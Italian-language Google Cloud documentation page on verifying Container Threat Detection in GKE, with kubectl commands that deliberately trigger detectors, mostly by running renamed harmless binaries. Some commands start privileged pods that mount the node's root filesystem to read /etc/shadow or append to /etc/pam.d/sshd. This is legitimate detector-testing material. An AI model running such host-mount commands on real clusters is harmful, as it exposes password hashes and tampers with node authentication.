Verifica di Container Threat Detection

Questa pagina spiega come verificare che Container Threat Detection funzioni attivando intenzionalmente i rilevatori e controllando i risultati. Per visualizzare i risultati di Container Threat Detection, Container Threat Detection deve essere abilitato nelle impostazioni dei servizi di Security Command Center.

Prima di iniziare

Per rilevare potenziali minacce ai container, devi assicurarti che i cluster siano eseguiti su una versione supportata di Google Kubernetes Engine (GKE). Per saperne di più, consulta Utilizzo di una versione GKE supportata. Se vuoi testare il rilevamento delle minacce su ARM, devi avere un cluster con un pool di nodi contenente istanze ARM. Per saperne di più, consulta Workload ARM su GKE.

Controlla lo stato di un rilevatore

Puoi testare solo i rilevatori attivati. Prima di testare un rilevatore, verifica che sia attivato.

Console

Se il servizio Container Threat Detection è abilitato, puoi impostare lo stato di abilitazione dei singoli moduli.

  1. Nella console Google Cloud , vai alla pagina Moduli per Container Threat Detection.

    Vai ai moduli

  2. Seleziona la tua organizzazione o il tuo progetto.
  3. Nella scheda Moduli, nella colonna Stato, seleziona lo stato corrente del modulo che vuoi attivare o disattivare, quindi seleziona una delle seguenti opzioni:
    • Abilita: abilita il modulo.
    • Disattiva: disattiva il modulo.

gcloud

Il comando gcloud scc manage services describe recupera lo stato di un servizio o modulo di Security Command Center.

Prima di utilizzare i dati dei comandi riportati di seguito, effettua le seguenti sostituzioni:

  • RESOURCE_TYPE: il tipo di risorsa da recuperare (organization, folder o project)
  • RESOURCE_ID: l'identificatore numerico dell'organizzazione, della cartella o del progetto da recuperare. Per i progetti, puoi anche utilizzare l'ID progetto alfanumerico.

Esegui il comando gcloud scc manage services describe:

Linux, macOS o Cloud Shell

gcloud scc manage services describe container-threat-detection \
    --RESOURCE_TYPE=RESOURCE_ID

Windows (PowerShell)

gcloud scc manage services describe container-threat-detection `
    --RESOURCE_TYPE=RESOURCE_ID

Windows (cmd.exe)

gcloud scc manage services describe container-threat-detection ^
    --RESOURCE_TYPE=RESOURCE_ID

Dovresti ricevere una risposta simile alla seguente. Per brevità, questo esempio mostra un sottoinsieme di tutti i moduli di Container Threat Detection.

effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
  ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
    effectiveEnablementState: ENABLED
  ACCESS_SENSITIVE_FILES_ON_NODES:
    effectiveEnablementState: DISABLED
  ADDED_BINARY_EXECUTED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_LIBRARY_LOADED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_MALICIOUS_BINARY_EXECUTED:
    effectiveEnablementState: ENABLED
  ADDED_MALICIOUS_LIBRARY_LOADED:
    effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'

REST

Il metodo RESOURCE_TYPE.locations.securityCenterServices.get dell'API di gestione di Security Command Center recupera lo stato di un servizio o modulo di Security Command Center.

Prima di utilizzare i dati della richiesta, apporta le sostituzioni seguenti:

  • RESOURCE_TYPE: il tipo di risorsa da recuperare (organizations, folders o projects).
  • QUOTA_PROJECT: l'ID progetto da utilizzare per il monitoraggio della fatturazione e delle quote.
  • RESOURCE_ID: l'identificatore numerico dell'organizzazione, della cartella o del progetto da recuperare. Per i progetti, puoi anche utilizzare l'ID progetto alfanumerico.

Metodo HTTP e URL:

GET https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection

Per inviare la richiesta, espandi una di queste opzioni:

Dovresti ricevere una risposta simile alla seguente. Per brevità, questo esempio mostra un sottoinsieme di tutti i moduli di Container Threat Detection.

{
  "effectiveEnablementState": "ENABLED",
  "intendedEnablementState": "ENABLED",
  "modules": {
    "ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
      "effectiveEnablementState": "ENABLED"
    },
    "ACCESS_SENSITIVE_FILES_ON_NODES": {
      "effectiveEnablementState": "DISABLED"
    },
    "ADDED_BINARY_EXECUTED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_LIBRARY_LOADED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_MALICIOUS_BINARY_EXECUTED": {
      "effectiveEnablementState": "ENABLED"
    },
    "ADDED_MALICIOUS_LIBRARY_LOADED": {
      "effectiveEnablementState": "ENABLED"
    }
  },
  "name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
  "updateTime": "2025-11-12T03:22:07Z"
}

Attiva i rilevatori

Se un rilevatore è disabilitato e vuoi testarlo, devi prima abilitarlo.

Alcuni rilevatori sono disattivati per impostazione predefinita. Per maggiori dettagli, consulta Rilevatori disattivati.

Console

Se il servizio Container Threat Detection è abilitato, puoi impostare lo stato di abilitazione dei singoli moduli.

  1. Nella console Google Cloud , vai alla pagina Moduli per Container Threat Detection.

    Vai ai moduli

  2. Seleziona la tua organizzazione o il tuo progetto.
  3. Nella scheda Moduli, nella colonna Stato, seleziona lo stato corrente del modulo che vuoi attivare o disattivare, quindi seleziona una delle seguenti opzioni:
    • Abilita: abilita il modulo.
    • Disattiva: disattiva il modulo.

gcloud

Il comando gcloud scc manage services update aggiorna lo stato di un servizio o modulo di Security Command Center.

Prima di utilizzare i dati dei comandi riportati di seguito, effettua le seguenti sostituzioni:

  • RESOURCE_TYPE: il tipo di risorsa da aggiornare (organization, folder o project).
  • RESOURCE_ID: l'identificatore numerico dell'organizzazione, della cartella o del progetto da aggiornare. Per i progetti, puoi anche utilizzare l'ID progetto alfanumerico.
  • MODULE_NAME: il nome del modulo da attivare o disattivare. Per i valori validi, consulta Rilevatori di Container Threat Detection.

Salva i seguenti contenuti in un file denominato request.json:

{
  "MODULE_NAME": {
    "intendedEnablementState": "ENABLED"
  }
}

Esegui il comando gcloud scc manage services update:

Linux, macOS o Cloud Shell

gcloud scc manage services update container-threat-detection \
    --RESOURCE_TYPE=RESOURCE_ID \
    --module-config-file=request.json

Windows (PowerShell)

gcloud scc manage services update container-threat-detection `
    --RESOURCE_TYPE=RESOURCE_ID `
    --module-config-file=request.json

Windows (cmd.exe)

gcloud scc manage services update container-threat-detection ^
    --RESOURCE_TYPE=RESOURCE_ID ^
    --module-config-file=request.json

Dovresti ricevere una risposta simile alla seguente. Per brevità, questo esempio mostra un sottoinsieme di tutti i moduli di Container Threat Detection.

effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
  ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
    effectiveEnablementState: ENABLED
  ACCESS_SENSITIVE_FILES_ON_NODES:
    effectiveEnablementState: DISABLED
  ADDED_BINARY_EXECUTED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_LIBRARY_LOADED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_MALICIOUS_BINARY_EXECUTED:
    effectiveEnablementState: ENABLED
  ADDED_MALICIOUS_LIBRARY_LOADED:
    effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'

REST

Il metodo RESOURCE_TYPE.locations.securityCenterServices.patch dell'API di gestione di Security Command Center aggiorna lo stato di un servizio o modulo di Security Command Center.

Prima di utilizzare i dati della richiesta, apporta le sostituzioni seguenti:

  • RESOURCE_TYPE: il tipo di risorsa da aggiornare (organizations, folders o projects).
  • QUOTA_PROJECT: l'ID progetto da utilizzare per il monitoraggio della fatturazione e delle quote.
  • RESOURCE_ID: l'identificatore numerico dell'organizzazione, della cartella o del progetto da aggiornare. Per i progetti, puoi anche utilizzare l'ID progetto alfanumerico.
  • MODULE_NAME: il nome del modulo da attivare o disattivare. Per i valori validi, consulta Rilevatori di Container Threat Detection.

Metodo HTTP e URL:

PATCH https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules

Corpo JSON della richiesta:

{
  "modules": {
    "MODULE_NAME": {
      "intendedEnablementState": "ENABLED"
    }
  }
}

Per inviare la richiesta, espandi una di queste opzioni:

Dovresti ricevere una risposta simile alla seguente. Per brevità, questo esempio mostra un sottoinsieme di tutti i moduli di Container Threat Detection.

{
  "effectiveEnablementState": "ENABLED",
  "intendedEnablementState": "ENABLED",
  "modules": {
    "ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
      "effectiveEnablementState": "ENABLED"
    },
    "ACCESS_SENSITIVE_FILES_ON_NODES": {
      "effectiveEnablementState": "DISABLED"
    },
    "ADDED_BINARY_EXECUTED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_LIBRARY_LOADED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_MALICIOUS_BINARY_EXECUTED": {
      "effectiveEnablementState": "ENABLED"
    },
    "ADDED_MALICIOUS_LIBRARY_LOADED": {
      "effectiveEnablementState": "ENABLED"
    }
  },
  "name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
  "updateTime": "2025-11-12T03:22:07Z"
}

Imposta le variabili di ambiente

Per testare i rilevatori, utilizza la console Google Cloud e Cloud Shell. Puoi impostare variabili di ambiente in Cloud Shell per semplificare l'esecuzione dei comandi. Le seguenti variabili vengono utilizzate per testare tutti i rilevatori di Container Threat Detection.

  1. Vai alla consoleGoogle Cloud .

    Vai alla console Google Cloud

  2. Seleziona il progetto che contiene il container che vuoi utilizzare per il test.

  3. Fai clic su Attiva Cloud Shell.

  4. In Cloud Shell, imposta le variabili di ambiente.

    1. La zona in cui si trova il cluster:

      export ZONE=CLUSTER_ZONE
      
    2. Il progetto in cui si trova il container:

      export PROJECT=PROJECT_ID
      
    3. Il nome del cluster:

      export CLUSTER_NAME=CLUSTER_NAME
      

Le variabili sono impostate. Le sezioni seguenti includono le istruzioni per testare i rilevatori di Container Threat Detection.

File binario aggiuntivo eseguito

Per attivare un risultato File binario aggiuntivo eseguito, inserisci un file binario nel container ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia /bin/ls in un'altra posizione e poi la esegue. L'esecuzione del programma binario è imprevista perché la copia del programma binario non faceva parte dell'immagine container originale, anche se l'immagine è su Ubuntu 24.04 e i container devono essere immutabili.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Rilascia un file binario ed eseguilo:

    • Nodo x86:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      
    • Nodo ARM:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
          {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
          "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
          "value": "arm64" } ]}}' \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      

Questa procedura di test crea un risultato Esecuzione di file binario aggiunto che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection filtra temporaneamente i risultati relativi all'esecuzione di file binari aggiunti. Per visualizzare tutti i risultati di Added Binary Executed durante la configurazione di un container, aggiungi il prefisso ktd-test al nome del container o del pod, come nell'esempio.

Libreria aggiuntiva caricata

Per attivare un risultato Libreria aggiuntiva caricata, inserisci una libreria nel container e poi caricala. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04, copia /lib/x86_64-linux-gnu/libc.so.6 in un'altra posizione e poi la carica utilizzando ld. La libreria caricata è imprevista perché la copia della libreria non faceva parte dell'immagine container originale, anche se l'immagine è su Ubuntu 24.04 e i container devono essere immutabili.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Elimina una libreria e utilizza ld per caricarla:

    • Nodo x86:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
      
    • Nodo ARM:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
      

Questa procedura di test crea un risultato Libreria aggiunta caricata che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection filtra temporaneamente i risultati di Added Library Loaded. Per visualizzare tutti i risultati di Libreria aggiunta caricata durante la configurazione di un container, aggiungi il prefisso ktd-test al nome del container o del pod, come nell'esempio.

Raccolta: Modifica Pam.d (anteprima)

Per attivare un rilevamento di modifica di pam.d, modifica uno dei file relativi a PAM dell'host. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, monta il file system root dell'host nel container e poi modifica /etc/pam.d/sshd.

Questo è un rilevatore di monitoraggio dei file e ha requisiti specifici per la versione di GKE.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Eseguire un file binario che modifica uno dei file relativi a PAM sull'host.

    • Nodo x86:

      tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Nodo ARM:

      tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Questa procedura di test attiva un risultato di modifica di pam.d che puoi visualizzare in Security Command Center e, se hai configurato Logging per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Comando e controllo: esecuzione di codice codificato con pipe

Per attivare un risultato Command and Control: Piped Encoded Code Execution, un file binario in grado di eseguire il codice, come python, deve avere un comando di decodifica base64 collegato tramite pipe alla sua esecuzione. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Utilizza echo per inviare una stringa codificata che stampa Hello World all'eseguibile python. Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di esecuzione di uno script dannoso da parte di un utente malintenzionato.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Decodifica e invia una stringa con codifica base64 a python:

    • Nodo x86:

      tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"
      
    • Nodo ARM:

      tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"
      

Questa procedura di test crea un risultato Command and Control: Piped Encoded Code Execution che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Comando e controllo: download codificato con pipe

Per attivare un risultato Command and Control: Piped Encoded Download, un eseguibile come curl deve essere inviato tramite pipe a un comando di decodifica base64. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/echo e lo rinomina in curl, quindi invia una chiamata curl simulata a base64. Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di scaricare e decodificare uno script dannoso che verrà poi utilizzato da un malintenzionato.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui e invia una chiamata curl a base64 -d:

    • Nodo x86:

      tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"
      
    • Nodo ARM:

      tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"
      

Questa procedura di test crea un risultato Command and Control: Piped Encoded Download che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Comando e controllo: strumento di steganografia rilevato

Per attivare un risultato Command and Control: Steganography Tool Detected (anteprima), un file binario con funzionalità di manipolazione dei file coerenti con gli strumenti di steganografia deve essere eseguito all'interno di un container. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/ls e lo rinomina in steghide (o un altro strumento di steganografia come stegano). Questo comportamento viene contrassegnato come sospetto perché può indicare un tentativo di preparare un container per nascondere o estrarre dati, potenzialmente per scopi dannosi.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario di uno strumento di steganografia come steghide:

    • Nodo x86:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      
    • Nodo ARM:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      

Questa procedura di test crea un risultato Command and Control: Steganography Tool Detected che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Accesso con credenziali: accedi ai file sensibili sui nodi (anteprima)

Per attivare un rilevamento di accesso a file sensibili, leggi il file /etc/shadow dell'host. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, monta il file system root dell'host nel container e poi legge /etc/shadow utilizzando cat.

Questo è un rilevatore di monitoraggio dei file e ha requisiti specifici per la versione di GKE.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Eseguire un file binario che legge il file /etc/shadow dell'host.

    • Nodo x86:

      tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Nodo ARM:

      tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Questa procedura di test attiva un risultato di accesso a un file sensibile che puoi visualizzare in Security Command Center e, se hai configurato Logging per Container Threat Detection, in Cloud Logging. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Accesso alle credenziali: ricerca delle credenziali Google Cloud

Per attivare un risultato Credential Access: Find Google Cloud Credentials, è necessario eseguire un file binario in grado di cercare i contenuti dei file all'interno di un container. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/ls e lo rinomina in grep. Il file binario rinominato viene quindi eseguito con argomenti che specificano un pattern di ricerca indicativo di una forma di Google Cloud credenziali. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di individuare le credenziali Google Cloud .

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario dello strumento di ricerca come find con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      
    • Nodo ARM:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      

Questa procedura di test crea un risultato Credential Access: Find Google Cloud Credentials che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Accesso alle credenziali: ricognizione chiave GPG

Per attivare un risultato Credential Access: GPG Key Reconnaissance, è necessario eseguire un file binario in grado di cercare i contenuti dei file all'interno di un container. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/ls e lo rinomina in find (o un'altra utilità di ricerca adatta come grep). Il file binario rinominato viene quindi eseguito con argomenti che specificano un pattern di ricerca indicativo di chiavi private o password o pattern di contenuti che suggeriscono password o secret. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di individuare i token di sicurezza GPG.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario dello strumento di ricerca come find con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring.gpg"
      
    • Nodo ARM:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring.gpg"
      

Questa procedura di test crea un risultato Credential Access: GPG Key Reconnaissance che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Accesso alle credenziali: cerca chiavi private o password

Per attivare un risultato Credential Access: Search Private Keys or Passwords, è necessario eseguire un file binario in grado di cercare i contenuti dei file all'interno di un container. Questo esempio utilizza l'immagine Ubuntu 24.04 più recente. Copia /bin/ls e lo rinomina in find (o un'altra utilità di ricerca adatta come grep). Il file binario rinominato viene quindi eseguito con argomenti che specificano un pattern di ricerca indicativo di chiavi private o password o pattern di contenuti che suggeriscono password o secret. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di individuare informazioni sensibili come chiavi private o password all'interno di un ambiente containerizzato.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un file binario dello strumento di ricerca come find con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      
    • Nodo ARM:

      tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
